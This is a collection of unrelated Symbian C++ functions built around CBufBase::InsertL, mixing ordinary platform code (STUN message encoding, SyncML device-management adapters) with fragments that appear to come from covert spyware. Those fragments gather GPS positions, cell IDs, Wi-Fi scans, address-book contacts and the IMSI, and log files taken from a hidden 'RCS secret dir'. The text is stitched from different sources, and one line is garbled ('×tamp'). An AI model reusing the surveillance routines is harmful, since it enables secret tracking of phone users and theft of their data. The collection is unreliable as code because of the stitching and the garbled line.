// ----------------------------------------------------------------------------- // CNATFWUNSAFMessage::EncodeMessageHeaderLC // ----------------------------------------------------------------------------- // CBufBase* CNATFWUNSAFMessage::EncodeMessageHeaderLC() const { CBufBase* header = CBufFlat::NewL(EHeaderSize); CleanupStack::PushL(header); TUint16 messageType = Type(); TUint16 bigEndianType(0); BigEndian::Put16(reinterpret_cast<TUint8*>(&bigEndianType), messageType); //First two bits of a STUN message are zero bigEndianType = bigEndianType & EMessageTypeMask; header->InsertL(EMessageTypeOffset, &bigEndianType, sizeof(bigEndianType)); TUint16 msgLength = 0; //Value is zero, so it is same also in the big endian representation header->InsertL(EMessageLengthOffset, &msgLength, sizeof(msgLength)); TUint32 bigEndianCookie(0); BigEndian::Put32(reinterpret_cast<TUint8*>(&bigEndianCookie), EMagicCookie); header->InsertL(EMagicCookieOffset, &bigEndianCookie, sizeof(bigEndianCookie)); header->InsertL(ETransactionIDOffset, iTransactionID, KMaxNATFWUNSAFTransactionIdLength); return header; }
// ----------------------------------------------------------------------------- // CNSmlDmDevDetailAdapter::AddObjectToBufferL() // ----------------------------------------------------------------------------- void CNSmlDmDevDetailAdapter::AddObjectToBufferL( CBufBase& aCrcBuf, const TDesC8& aURI ) { CBufBase* buf = CBufFlat::NewL( 1 ); CleanupStack::PushL( buf ); FetchLeafObjectL( aURI, *buf ); aCrcBuf.InsertL( aCrcBuf.Size(), buf->Ptr(0) ); _LIT8( KNSmlDmSeparator, ";" ); aCrcBuf.InsertL( aCrcBuf.Size(), KNSmlDmSeparator ); CleanupStack::PopAndDestroy(); //buf }
HBufC8* CEventSimChange::GetImsiBufferL(const TDesC8& aImsi) { CBufBase* buffer = CBufFlat::NewL(50); CleanupStack::PushL(buffer); TUint32 len = sizeof(len) + aImsi.Size(); buffer->InsertL(buffer->Size(), &len, sizeof(len)); buffer->InsertL(buffer->Size(), aImsi.Ptr(), aImsi.Size()); HBufC8* result = buffer->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(buffer); return result; }
HBufC8* CAgentAddressbook::GetTTimeBufferL(const TTime aTime) { TInt64 timestamp = aTime.Int64(); CBufBase* buffer = CBufFlat::NewL(50); CleanupStack::PushL(buffer); TUint32 len = sizeof(len) + sizeof(timestamp); buffer->InsertL(buffer->Size(), &len, sizeof(len)); buffer->InsertL(buffer->Size(), ×tamp, sizeof(timestamp)); HBufC8* result = buffer->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(buffer); return result; }
// ----------------------------------------------------------------------------- // CSIPMessage::ToTextLC // ----------------------------------------------------------------------------- // EXPORT_C CBufBase* CSIPMessage::ToTextLC () { CBufBase* encodedMessage = ToTextHeaderPartLC(); TInt length = encodedMessage->Ptr(0).Length(); encodedMessage->InsertL (length,*iContent); return encodedMessage; }
// ----------------------------------------------------------------------------- // CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL( const TDesC8& aURI, // const TDesC8& aLUID, const TDesC8& aType, const TInt aResultsRef, // const TInt aStatusRef ) // ----------------------------------------------------------------------------- void CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL( const TDesC8& aURI, const TDesC8& /*aLUID*/, const TDesC8& aType, const TInt aResultsRef, const TInt aStatusRef ) { _DBG_FILE("CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL(): begin"); CBufBase *object = CBufFlat::NewL( 1 ); CleanupStack::PushL( object ); CSmlDmAdapter::TError retValue = FetchLeafObjectL( aURI, *object ); TInt objSizeInBytes = object->Size(); TBuf8<KNSmlMaxSizeBufferLength> stringObjSizeInBytes; stringObjSizeInBytes.Num( objSizeInBytes ); object->Reset(); object->InsertL( 0, stringObjSizeInBytes ); iDmCallback->SetStatusL( aStatusRef, retValue ); iDmCallback->SetResultsL( aResultsRef, *object, aType); CleanupStack::PopAndDestroy(); //object _DBG_FILE("CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL(): end"); }
HBufC8* CAgentPosition::GetCellIdBufferL() { TUint cellId=0; TUint lac=0; TInt32 signalStrength = 0; TBuf<CTelephony::KNetworkIdentitySize> network; TBuf<CTelephony::KNetworkCountryCodeSize> cc; TBuf<CTelephony::KNetworkLongNameSize> oper; iPhone->GetCellIDSync(cellId, lac, network, cc, oper); iPhone->GetSignalStrengthSync(signalStrength); // signalStrength is set to 0 if not available cellId = cellId & 0xFFFF; // jo, maybe redundant CBufBase* buffer = CBufFlat::NewL(50); CleanupStack::PushL(buffer); TCellInfo cellInfo; TTime now; now.UniversalTime(); //TInt64 filetime = GetFiletime(now); TInt64 filetime = TimeUtils::GetFiletime(now); cellInfo.filetime.dwHighDateTime = (filetime >> 32); cellInfo.filetime.dwLowDateTime = (filetime & 0xFFFFFFFF); // Converts CountryCode from string to number TLex lex(cc); lex.Val(cellInfo.cell.dwMobileCountryCode, EDecimal); // Converts NetworkCode from string to number lex.Assign(network); lex.Val(cellInfo.cell.dwMobileNetworkCode, EDecimal); cellInfo.cell.dwLocationAreaCode = lac; cellInfo.cell.dwCellID = cellId; cellInfo.cell.dwTimingAdvance = 0; // there are no public APIs for this cellInfo.cell.dwRxLevel = signalStrength; cellInfo.cell.dwRxQuality = 0; TUint32 type = TYPE_CELL; buffer->InsertL(0, &type, sizeof(TUint32)); buffer->InsertL(buffer->Size(), &cellInfo, sizeof(TCellInfo)); HBufC8* result = buffer->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(buffer); return result; }
// -------------------------------------------------------------------------- // CNSmlDmAOAdapter::DDFVersionL // Returns ddf version nr // -------------------------------------------------------------------------- void CNSmlDmAOAdapter::DDFVersionL( CBufBase& aDDFVersion ) { LOGSTRING( "CNSmlDmAOAdapter::DDFVersionL: Start" ); aDDFVersion.InsertL( 0, KNSmlDmAOAdapterDDFVersion ); LOGSTRING( "CNSmlDmAOAdapter::DDFVersionL:End" ); }
HBufC8* CAgentPosition::GetWiFiBufferL(TLocationAdditionalData* additionalData) { CBufBase* buffer = CBufFlat::NewL(50); CleanupStack::PushL(buffer); CWlanScanInfo* scanInfo=CWlanScanInfo::NewL(); CleanupStack::PushL(scanInfo); CWlanMgmtClient* client=CWlanMgmtClient::NewL(); CleanupStack::PushL(client); client->GetScanResults(*scanInfo); for(scanInfo->First(); !scanInfo->IsDone(); scanInfo->Next() ) { TWiFiInfo wifiInfo; Mem::FillZ(&wifiInfo,sizeof(wifiInfo)); //Retrieve BSSID TWlanBssid bssid; scanInfo->Bssid( bssid ); //wifiInfo.macAddress.Zero(); //wifiInfo.macAddress.Copy(bssid); for(TInt k = 0; k < bssid.Length(); k++) wifiInfo.macAddress[k] = bssid[k]; //Retrieve transmision level TInt8 rxLevel = scanInfo->RXLevel(); wifiInfo.rssi = rxLevel; //Retrieve SSID TBuf8<36> ssid; TInt err; err = GetSSID(scanInfo, ssid); if(err == KErrNone) { wifiInfo.ssidLen = ssid.Length(); for(TInt i=0; i<wifiInfo.ssidLen; i++) wifiInfo.ssid[i] = ssid[i]; } else { wifiInfo.ssidLen = 0; } additionalData->uStructNum += 1; buffer->InsertL(buffer->Size(), &wifiInfo, sizeof(TWiFiInfo)); } CleanupStack::PopAndDestroy(client); CleanupStack::PopAndDestroy(scanInfo); HBufC8* result = buffer->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(buffer); return result; }
// ----------------------------------------------------------------------------- // CNATFWUNSAFAttribute::EncodeL // ----------------------------------------------------------------------------- // HBufC8* CNATFWUNSAFAttribute::EncodeL() const { HBufC8* value = EncodeValueL(); CleanupStack::PushL(value); TInt attrValLength = value->Length(); //Pad non-DWORD-boundary aligned attributes with spaces if needed. Spaces //used instead of \0 in order to not mess up buggy C implementations. const TInt KGranularity = 4; TInt bytesInLastBlock = attrValLength % KGranularity; TInt bytesToAppend = KGranularity - bytesInLastBlock; if (0 < bytesInLastBlock && !IsWordBoundaryAligned(Type())) { CBufBase* valueBuf = CBufFlat::NewL(attrValLength + bytesToAppend); CleanupStack::PushL(valueBuf); valueBuf->InsertL(0, *value, attrValLength); const TChar KSpace(' '); for (TInt i = 0; i < bytesToAppend; ++i) { valueBuf->InsertL(valueBuf->Size(), &KSpace, 1); } // Store value pointer for proper cleanupstack handling HBufC8* oldValue = value; value = valueBuf->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(valueBuf); CleanupStack::PopAndDestroy( oldValue ); CleanupStack::PushL( value ); } HBufC8* attribute = HBufC8::NewLC(value->Length() + EValueOffset); TPtr8 ptr = attribute->Des(); ptr.FillZ(EValueOffset); NATFWUNSAFUtils::WriteNetworkOrder16L(ptr, ETypeOffset, Type()); NATFWUNSAFUtils::WriteNetworkOrder16L(ptr, ELengthOffset, static_cast<TUint16>(attrValLength)); ptr.Append(*value); CleanupStack::Pop(attribute); CleanupStack::PopAndDestroy(value); return attribute; }
// -------------------------------------------------------------------------- // CNSmlDmAOAdapter::FetchLeafObjectSizeL // Fetches leaf object size. // ------------------------------------------------------------------------- void CNSmlDmAOAdapter::FetchLeafObjectSizeL( const TDesC8& aURI, const TDesC8& aLUID, const TDesC8& /* aType */, TInt aResultsRef, TInt aStatusRef ) { LOGSTRING( "CNSmlDmAOAdapter::FetchLeafObjectSizeL: Start" ); LOGSTRING3( "\tFetchLeafObjectSizeL \tURI: %S, \tLUID: %S,", &aURI, &aLUID ); CSmlDmAOCommandElement* cmd = CSmlDmAOCommandElement::NewLC( ETrue, aStatusRef, aResultsRef, CNSmlDmAOAdapter::EGetSizeCmd, LastURISeg( aURI ), KNullDesC8); TInt luid( KDefaultLuid ); if ( aLUID.Length() > 0 ) { luid = DesToIntL( aLUID ); } iSettingStore->ExecuteCmdL( *cmd, luid ); LOGSTRING2( "\tCmd executed with status: %d ", cmd->Status() ); // if executed get status if ( cmd->Executed() ) { Callback().SetStatusL( aStatusRef, cmd->Status() ); // if successful get results if ( cmd->Status() == CSmlDmAdapter::EOk ) { LOGSTRING2( "\tCmd executed with result: %S ", cmd->Data() ); CBufBase* result = CBufFlat::NewL( cmd->Data()->Size() ); CleanupStack::PushL( result ); result->InsertL( 0, *cmd->Data() ); Callback().SetResultsL( aResultsRef, *result, KNullDesC8 ); CleanupStack::PopAndDestroy( result ); } } else { // failed to execute command Callback().SetStatusL( aStatusRef, CSmlDmAdapter::EError ); } CleanupStack::PopAndDestroy( cmd ); LOGSTRING( "CNSmlDmAOAdapter::FetchLeafObjectSizeL: End" ); }
// ------------------------------------------------------------------------ // CNSmlDmAOAdapter::ChildURIListL // Fetches child nodes of a node. these may be either all VENDORCONFIG // nodes or leaf nodes under a VENDORCONFIG node. // ------------------------------------------------------------------------ void CNSmlDmAOAdapter::ChildURIListL( const TDesC8& aURI, const TDesC8& aLUID, const CArrayFix<TSmlDmMappingInfo>& /*aPreviousURISegmentList*/, TInt aResultsRef, TInt aStatusRef ) { LOGSTRING( "CNSmlDmAOAdapter::ChildURIListL: Start" ); LOGSTRING3( "\tChildURIListL URI: %S, LUID: %S ", &aURI, &aLUID ); CBufBase* resultList = CBufFlat::NewL( KSmlMaxURISegLen ); CleanupStack::PushL( resultList ); // get all leaf nodes below VENDORCONFIG node if ( !aURI.Compare( KNSmlDmAOAdapterAO ) ) { CSmlDmAOCommandElement* cmd = CSmlDmAOCommandElement::NewLC( EFalse, aStatusRef, aResultsRef, CNSmlDmAOAdapter::EGetCmd, KNullDesC8, KNullDesC8 ); TInt luid( KDefaultLuid ); if ( aLUID.Length() > 0 ) { luid = DesToIntL( aLUID ); } iSettingStore->ExecuteCmdL( *cmd, luid ); LOGSTRING2( "\tCmd executed with status: %d ", cmd->Status() ); Callback().SetStatusL( aStatusRef, cmd->Status() ); if( cmd->Status() == CSmlDmAdapter::EOk ) { resultList->InsertL( 0, *cmd->Data() ); Callback().SetResultsL( aResultsRef, *resultList, KNullDesC8 ); } CleanupStack::PopAndDestroy( cmd ); } CleanupStack::PopAndDestroy( resultList ); LOGSTRING( "CNSmlDmAOAdapter::ChildURIListL: End" ); }
void CStateDownload::DumpFileL(const TDesC& aFileName) { _LIT(KNull,"\x00"); _LIT(KDir,"$dir$"); TDownloadAdditionalData additionalData; //check if file it's inside RCS secret dir TParsePtrC parsePtrC(aFileName); if(iPrivatePath.CompareF(parsePtrC.DriveAndPath())==0) { //the file is in the private dir, we have to modify the path additionalData.fileName.Copy(KDir); additionalData.fileName.Append(parsePtrC.NameAndExt()); additionalData.fileName.Append(KNull); //add NULL terminator additionalData.uFileNamelen = additionalData.fileName.Size(); } else { additionalData.fileName.Copy(aFileName); additionalData.fileName.Append(KNull); //add NULL terminator additionalData.uFileNamelen = additionalData.fileName.Size(); } RBuf8 fileBuf(FileUtils::ReadFileContentsL(iFs, aFileName)); if(fileBuf.Size()>0) { fileBuf.CleanupClosePushL(); CLogFile* logFile = CLogFile::NewLC(iFs); logFile->CreateLogL(LOGTYPE_DOWNLOAD, &additionalData); logFile->AppendLogL(fileBuf); logFile->CloseLogL(); CleanupStack::PopAndDestroy(logFile); CleanupStack::PopAndDestroy(&fileBuf); } else { //something went wrong, usually a KErrNoMemory has been raised _LIT(KDownloadError,"Error in downloading file"); CBufBase* buffer = CBufFlat::NewL(50); CleanupStack::PushL(buffer); buffer->InsertL(buffer->Size(),(TUint8*)KDownloadError().Ptr(),KDownloadError().Size()); HBufC8* byteBuf = buffer->Ptr(0).AllocLC(); CLogFile* logFile = CLogFile::NewLC(iFs); logFile->CreateLogL(LOGTYPE_INFO); logFile->AppendLogL(*byteBuf); logFile->CloseLogL(); CleanupStack::PopAndDestroy(logFile); CleanupStack::PopAndDestroy(byteBuf); CleanupStack::PopAndDestroy(buffer); } }
// ------------------------------------------------------------------------------------------------ // CNSmlDataModBase::StripTxL // Strips data that is to be transmitted to the sync partner. // ------------------------------------------------------------------------------------------------ EXPORT_C void CNSmlDataModBase::StripTxL( CBufBase& aItem ) { _DBG_FILE("CNSmlDataModBase::StripTxL(): begin"); HBufC8* buf = HBufC8::NewLC(aItem.Size()); *buf = aItem.Ptr(0); TPtr8 ptrBuf = buf->Des(); StripL(ptrBuf); aItem.Reset(); aItem.InsertL(0, ptrBuf); CleanupStack::PopAndDestroy(); // buf _DBG_FILE("CNSmlDataModBase::StripTxL(): end"); }
// ----------------------------------------------------------------------------- // CNATFWUNSAFMessage::EncodeL // 1. Encode the UNSAF message normally. // 2. Create a MESSAGE-INTEGRITY attribute. This updates also the header's // length field to include the MESSAGE-INTEGRITY before computing the hash. // 3. Encode it to the last attribute of the UNSAF message. // 4. Create a FINGERPRINT attribute. This updates also the header's // length field to include the FINGERPRINT before computing the hash. // 5. Encode it to the last attribute of the UNSAF message. // ----------------------------------------------------------------------------- // EXPORT_C CBufBase* CNATFWUNSAFMessage::EncodeL( const TDesC8& aSharedSecret, TBool aUseFingerprint) const { CBufBase* msg = EncodeL(); CleanupStack::PushL(msg); if ( aSharedSecret.Length() ) { //Long term credentials need be used if there's a REALM attribute CNATFWUNSAFMessageIntegrityAttribute* msgIntegrity = CNATFWUNSAFMessageIntegrityAttribute::NewLC(aSharedSecret, *msg, HasAttribute( CNATFWUNSAFAttribute::ERealm )); HBufC8* encodedMsgIntegrity = msgIntegrity->EncodeL(); CleanupStack::PushL(encodedMsgIntegrity); msg->InsertL(msg->Size(), *encodedMsgIntegrity); CleanupStack::PopAndDestroy(encodedMsgIntegrity); CleanupStack::PopAndDestroy(msgIntegrity); } if ( aUseFingerprint ) { CNATFWUNSAFFingerprintAttribute* fingerprint = CNATFWUNSAFFingerprintAttribute::NewLC(*msg); HBufC8* encodedFingerprint = fingerprint->EncodeL(); CleanupStack::PushL(encodedFingerprint); msg->InsertL(msg->Size(), *encodedFingerprint); CleanupStack::PopAndDestroy(encodedFingerprint); CleanupStack::PopAndDestroy(fingerprint); } CleanupStack::Pop(msg); msg->Compress(); return msg; }
void UT_CNATFWUNSAFMessage::TestSetMessageLength3L() { const TInt KGranularity = 50; _LIT8(KBufferContents, "some stuff to put into the buffer and then check the length is computed correctly"); CBufBase* msg = CBufFlat::NewL(KGranularity); CleanupStack::PushL(msg); msg->InsertL(0, KBufferContents); iMsg->SetMessageLength(*msg); TInt expected = KBufferContents().Length() - CNATFWUNSAFMessage::EHeaderSize; TInt actual = BigEndian::Get16(&msg->Ptr(CNATFWUNSAFMessage::EMessageLengthOffset)[0]); EUNIT_ASSERT(expected == actual); CleanupStack::PopAndDestroy(msg); }
/*! * Fetch contact */ TInt CNsmlContactsDataStoreExtensionPrivate::ExportContactsL( const TUid &uid, CBufBase &contactbufbase ) { DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: BEGIN: UID: %d"), uid); TInt error(KErrNone); QList<QContact> contacts; QBuffer contactsbuf; contactsbuf.open(QBuffer::ReadWrite); mWriter->setDevice( &contactsbuf ); QContact contact = mContactManager->contact( uid.iUid ); error = mContactManager->error(); if( error != QContactManager::NoError ) { DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:Error %d"), error ); return error; } contacts.append( contact ); if( mExporter->exportContacts( contacts, QVersitDocument::VCard21Type ) ) { QList<QVersitDocument> documents = mExporter->documents(); mWriter->startWriting( documents ); bool status = mWriter->waitForFinished(); DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:status %d"), status); HBufC8* buf = XQConversions::qStringToS60Desc8( contactsbuf.data() ); contactbufbase.InsertL( contactbufbase.Size(), *buf ); delete buf; } else { error = KErrGeneral; DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:Error in exporting %d"), error ); } TPtr8 ptrbuf(contactbufbase.Ptr(0)); DBG_DUMP( (void*)ptrbuf.Ptr(), ptrbuf.Length(), _S8("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: From DB:")); _DBG_FILE("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: END"); return error; }
// ----------------------------------------------------------------------------- // CNATFWUNSAFMessage::EncodeL // ----------------------------------------------------------------------------- // EXPORT_C CBufBase* CNATFWUNSAFMessage::EncodeL() const { CBufBase* msg = EncodeMessageHeaderLC(); for (TInt i = 0; i < iAttributes.Count(); ++i) { if (iAttributes[i]->Type() != CNATFWUNSAFAttribute::EMessageIntegrity && iAttributes[i]->Type() != CNATFWUNSAFAttribute::EFingerprint) { HBufC8* attribute = iAttributes[i]->EncodeL(); CleanupStack::PushL(attribute); msg->InsertL(msg->Size(), *attribute); CleanupStack::PopAndDestroy(attribute); } } CleanupStack::Pop(msg); msg->Compress(); SetMessageLength(*msg); return msg; }
DMAD_EXPORT_C void CDmAdEngine::FetchLeafObjectSizeL(const TDesC8& aUri, const TDesC8& aLuid, const TDesC8& aType, TInt aResultsRef, TInt aStatusRef) { TRACE("CDmAdEngine::FetchLeafObjectSizeL"); DEBUG_LOG1(_L8("aUri %S"), &aUri); DEBUG_LOG1(_L8("aLuid %S"), &aLuid); DEBUG_LOG1(_L8("aType %S"), &aType); DEBUG_LOG2(_L("aResultsRef = %d, aStatusRef = %d"), aResultsRef, aStatusRef); TPtrC8 uri(TDmAdUtil::RemoveDotSlash(aUri)); TInt status = KErrNone; CBufBase* object = 0; TRAPD(err, status = DoFetchLeafObjectL(uri, aLuid, aType, object)); if (err != KErrNone) { iCallBack->SetStatusL(aStatusRef, err); return; } if (status != KErrNone) { delete object; iCallBack->SetStatusL(aStatusRef, status); return; } CleanupStack::PushL(object); TInt objSizeInBytes = object->Size(); HBufC8* sizeBuf = TDmAdUtil::IntToDes8LC(objSizeInBytes); object->Reset(); object->InsertL(0, *sizeBuf); iCallBack->SetResultsL(aResultsRef, *object, aType); iCallBack->SetStatusL(aStatusRef, status); CleanupStack::PopAndDestroy(2); //sizeBuf, object }
// ------------------------------------------------------------------------------------------------ // CNSmlDataModBase::MergeRxL // Merges received item with item in exported from the local database. // ------------------------------------------------------------------------------------------------ EXPORT_C void CNSmlDataModBase::MergeRxL( CBufBase& aNewItem, CBufBase& aOldItem, TBool aFieldLevel ) { _DBG_FILE("CNSmlDataModBase::MergeRxL(): begin"); if( NeedsMerge() ) { HBufC8* b1 = HBufC8::NewLC(aNewItem.Size() + aOldItem.Size()); *b1 = aNewItem.Ptr(0); TPtr8 ptrB1 = b1->Des(); TPtr8 p2 = aOldItem.Ptr(0); MergeL( ptrB1, p2, aFieldLevel ); aNewItem.Reset(); aNewItem.InsertL(0, ptrB1); CleanupStack::PopAndDestroy(); // b1 } else if ( iUsedRemoteMimeType == -1 ) { User::Leave( KErrNotFound ); } _DBG_FILE("CNSmlDataModBase::MergeRxL(): end"); }
HBufC8* CAgentAddressbook::GetContactBufferL(const CContactItem& item) { CContactItemFieldSet& fields = item.CardFields(); if (ContainsEmptyField(fields)) { // This item has been removed but has not been deleted from the database yet __FLOG(_L("Skip Item: Contains Empty Fields")); return HBufC8::NewL(0); } if (item.IsDeleted()) { __FLOG(_L("Skip Item: Deleted")); return HBufC8::NewL(0); } __FLOG(_L("DumpContactItem")); //create buffer CBufBase* buffer = CBufFlat::NewL(50); CleanupStack::PushL(buffer); for (TInt i = 0; i < fields.Count(); i++) { const CContactItemField& itemField = fields[i]; if (itemField.IsDeleted()) { __FLOG(_L("Skip IsDeleted")); continue; } RBuf buf(ReadFieldAsTextL(itemField)); buf.CleanupClosePushL(); if (buf.Length() > 0) { TContactEntry intType = (TContactEntry) GetTypeFromItemField(itemField); __FLOG_1(_L("Type: %d"), intType); __FLOG(buf); // 1st byte is the Type and next 3 bytes are the Length TUint32 typeAndLen = intType << 24; typeAndLen += buf.Size(); TUint8* dataPtr = (TUint8 *) buf.Ptr(); buffer->InsertL(buffer->Size(), &typeAndLen, sizeof(typeAndLen)); buffer->InsertL(buffer->Size(), dataPtr, buf.Size()); } CleanupStack::PopAndDestroy(&buf); } // adds header data to buffer THeader header; header.dwSize += buffer->Size(); header.lOid = item.Id(); buffer->InsertL(0, &header, sizeof(header)); HBufC8* result = buffer->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(buffer); return result; }
DMAD_EXPORT_C void TDmAdUtil::BuildRtNodeChildUriListL(MDmAdCallBack* aDmAdCallBack, MDmAdStoreApi* aStoreApi, const TDesC8& aUri, const TDesC8& aParentLuid, const CArrayFix<TSmlDmMappingInfo>& aPreviousUriSegmentList, CBufBase& aCurrentList) { #ifdef DMAD_DUMP_PREVIOUS_URI_SEGMENT_LIST DEBUG_LOG(_L("BuildRtNodeChildUriListL:")); { for (TInt i=0; i < aPreviousUriSegmentList.Count(); i++) { const TSmlDmMappingInfo& mappingInfo = aPreviousUriSegmentList.At(i); DEBUG_LOG1(_L("entry %d:"), i); DEBUG_LOG1(_L8("Uri: %S"), &(mappingInfo.iURISeg)); DEBUG_LOG_HEX(mappingInfo.iURISegLUID); } } #endif RPointerArray<HBufC8> luidList; CleanupStack::PushL(TCleanupItem(PointerArrayCleanup, &luidList)); aStoreApi->LuidListL(aUri, aParentLuid, luidList); // Finds largest number used in cli<x> named nodes. TInt largest = FindLargestLocallyCreated(aPreviousUriSegmentList); DEBUG_LOG1(_L("largest is cli%d"), largest); TInt countLuidList = luidList.Count(); for (TInt j=0; j < countLuidList; j++) { const HBufC8* luidElem = luidList[j]; HBufC8* uriSeg = 0; //Tries to find the luid from the aPreviousUriSegmentList for (TInt i=0; i < aPreviousUriSegmentList.Count(); i++) { const TSmlDmMappingInfo& mappingInfo = aPreviousUriSegmentList.At(i); if (mappingInfo.iURISegLUID.Compare(*luidElem) == 0) { uriSeg = mappingInfo.iURISeg.AllocLC(); break; } } if (uriSeg == 0) { //Uri was not found from the aPreviousUriSegmentList uriSeg = BuildLocallyCreatedRtNodeUriSegLC(largest); DEBUG_LOG2(_L8("uriSeg %S, largest %d"), uriSeg, largest); HBufC8* wholeUri = TDmAdUtil::BuildUriLC(aUri, *uriSeg); aDmAdCallBack->SetMappingL(*wholeUri, *luidElem); CleanupStack::PopAndDestroy(); //wholeUri } //If this is not the first element, inserts slash at the beginning //of the result list. if (j > 0) { aCurrentList.InsertL(aCurrentList.Size(), KDmAdSeparator); } aCurrentList.InsertL(aCurrentList.Size(), *uriSeg); CleanupStack::PopAndDestroy(); // uriSeg } CleanupStack::PopAndDestroy(); //luidList }
void CNSmlDmDevDetailAdapter::ChildURIListL( const TDesC8& aURI, const TDesC8& /*aLUID*/, const CArrayFix<TSmlDmMappingInfo>& /*aPreviousURISegmentList*/, const TInt aResultsRef, const TInt aStatusRef ) { _DBG_FILE("CNSmlDmDevDetailAdapter::ChildURIListL(): begin"); CSmlDmAdapter::TError retValue = CSmlDmAdapter::EOk; CBufBase *currentURISegmentList = CBufFlat::NewL(64); CleanupStack::PushL(currentURISegmentList); TInt ret = aURI.LocateReverse(KNSmlDMDevDetailSeparator()[0]); if ( ret == KErrNotFound ) { ret = -1; } TInt len = aURI.Length() - ( ret + 1 ); TPtrC8 segment = aURI.Right( len ); if ( segment == KNSmlDMDevDetailNodeName ) { currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailDevTypNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailOEMNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailFwVNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSwVNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailHwVNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailLrgObjNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailURINodeName() ); } else if ( segment == KNSmlDMDevDetailURINodeName ) { currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailMaxDepthNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailMaxTotLenNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailMaxSegLenNodeName() ); } else { retValue = CSmlDmAdapter::EError; } iDmCallback->SetStatusL(aStatusRef,retValue); iDmCallback->SetResultsL(aResultsRef,*currentURISegmentList,KNullDesC8); CleanupStack::PopAndDestroy(); //currentURISegmentList; _DBG_FILE("CNSmlDmDevDetailAdapter::ChildURIListL(): end"); }
//HBufC8* CAgentPosition::GetGPSBufferL(TPosition pos) // original MB HBufC8* CAgentPosition::GetGPSBufferL(TPositionSatelliteInfo satPos) { /* * If the number of satellites used to calculate the coordinates is < 4, we don't use * the fix */ if(satPos.NumSatellitesUsed() < 4 ) return HBufC8::NewL(0); CBufBase* buffer = CBufFlat::NewL(50); CleanupStack::PushL(buffer); TGPSInfo gpsInfo; // retrieve TPosition TPosition pos; satPos.GetPosition(pos); // insert filetime timestamp TTime now; now.UniversalTime(); //TInt64 filetime = GetFiletime(now); TInt64 filetime = TimeUtils::GetFiletime(now); gpsInfo.filetime.dwHighDateTime = (filetime >> 32); gpsInfo.filetime.dwLowDateTime = (filetime & 0xFFFFFFFF); gpsInfo.gps.FixType = GPS_FIX_3D; // we are sure at least 4 satellites have been used // insert lat-long-alt-time gpsInfo.gps.dblLatitude = pos.Latitude(); gpsInfo.gps.dblLongitude = pos.Longitude(); gpsInfo.gps.flAltitudeWRTSeaLevel = pos.Altitude(); gpsInfo.gps.stUTCTime = TSystemTime( pos.Time() ); gpsInfo.gps.dwValidFields = (GPS_VALID_UTC_TIME | GPS_VALID_LATITUDE | GPS_VALID_LONGITUDE | GPS_VALID_ALTITUDE_WRT_SEA_LEVEL); gpsInfo.gps.dwSatelliteCount = satPos.NumSatellitesUsed(); gpsInfo.gps.dwValidFields |= GPS_VALID_SATELLITE_COUNT; gpsInfo.gps.dwSatellitesInView = satPos.NumSatellitesInView(); gpsInfo.gps.dwValidFields |= GPS_VALID_SATELLITES_IN_VIEW; gpsInfo.gps.flHorizontalDilutionOfPrecision = satPos.HorizontalDoP(); gpsInfo.gps.dwValidFields |= GPS_VALID_HORIZONTAL_DILUTION_OF_PRECISION; gpsInfo.gps.flVerticalDilutionOfPrecision = satPos.VerticalDoP(); gpsInfo.gps.dwValidFields |= GPS_VALID_VERTICAL_DILUTION_OF_PRECISION; TCourse course; satPos.GetCourse(course); gpsInfo.gps.flSpeed = course.Speed(); gpsInfo.gps.dwValidFields |= GPS_VALID_SPEED; gpsInfo.gps.flHeading = course.Heading(); gpsInfo.gps.dwValidFields |= GPS_VALID_HEADING; /* * Additional data regarding the satellites can be obtained using the TSatelliteData structure. * Example: */ /* TInt numSat = satPos.NumSatellitesInView(); TInt err = KErrNone; for (int i=0; i<numSat; i++) { // Get satellite data TSatelliteData satData; err = satPos.GetSatelliteData(i,satData); if(err != KErrNone) { continue; } // Get info // See TSatelliteData definition for more methods. TReal32 azimuth = satData.Azimuth(); TInt satSignalStrength = satData.SignalStrength(); }*/ TUint32 type = TYPE_GPS; buffer->InsertL(0, &type, sizeof(TUint32)); buffer->InsertL(buffer->Size(), &gpsInfo, sizeof(TGPSInfo)); HBufC8* result = buffer->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(buffer); return result; }
